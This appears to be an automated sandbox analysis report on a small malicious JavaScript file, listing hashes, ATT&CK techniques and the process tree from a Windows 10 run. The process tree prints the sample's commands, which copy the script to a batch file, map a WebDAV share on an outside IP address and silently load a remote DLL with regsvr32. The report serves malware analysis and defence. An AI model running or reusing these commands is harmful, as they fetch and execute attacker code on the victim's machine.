0b83da13ccf53341792db8deec36c9af70154a0caaab8062d64a3fa8c22b9fb6

Analysis

max time kernel
93s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
09/07/2024, 06:17

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General

Target

4860312552222814311.js
Size

5KB
MD5

08d79ad15bc6fc6848a70f25a28eb7a0
SHA1

fa447ac9b1f8400c0d7fbaba97e5a79405c9426f
SHA256

0b83da13ccf53341792db8deec36c9af70154a0caaab8062d64a3fa8c22b9fb6
SHA512

8fdf7a8f536d765ce994e6df07b93a9b073c3bdf903e20588608d6a3114286fa185937db9da55b6d1d894ff0f7140549e9443b2c697153fc67bc70ffc9e76066
SSDEEP

96:xomU+mw9fwvcm0dy3wLxdy330pd53QpDvhnLekyzLpd++LekuLZHo2p/rk12p/e:RowCMdy34xdy33QSpdqkypd0kezrkKe

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1356 wrote to memory of 3596	1356	wscript.exe	82
PID 1356 wrote to memory of 3596	1356	wscript.exe	82
PID 3596 wrote to memory of 4404	3596	cmd.exe	85
PID 3596 wrote to memory of 4404	3596	cmd.exe	85
PID 3596 wrote to memory of 1976	3596	cmd.exe	86
PID 3596 wrote to memory of 1976	3596	cmd.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4860312552222814311.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\4860312552222814311.js" "C:\Users\Admin\\ovwexs.bat" && "C:\Users\Admin\\ovwexs.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3596
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:4404
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\68.dll
    3⤵
    PID:1976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\ovwexs.bat

Filesize
5KB

MD5
08d79ad15bc6fc6848a70f25a28eb7a0

SHA1
fa447ac9b1f8400c0d7fbaba97e5a79405c9426f

SHA256
0b83da13ccf53341792db8deec36c9af70154a0caaab8062d64a3fa8c22b9fb6

SHA512
8fdf7a8f536d765ce994e6df07b93a9b073c3bdf903e20588608d6a3114286fa185937db9da55b6d1d894ff0f7140549e9443b2c697153fc67bc70ffc9e76066

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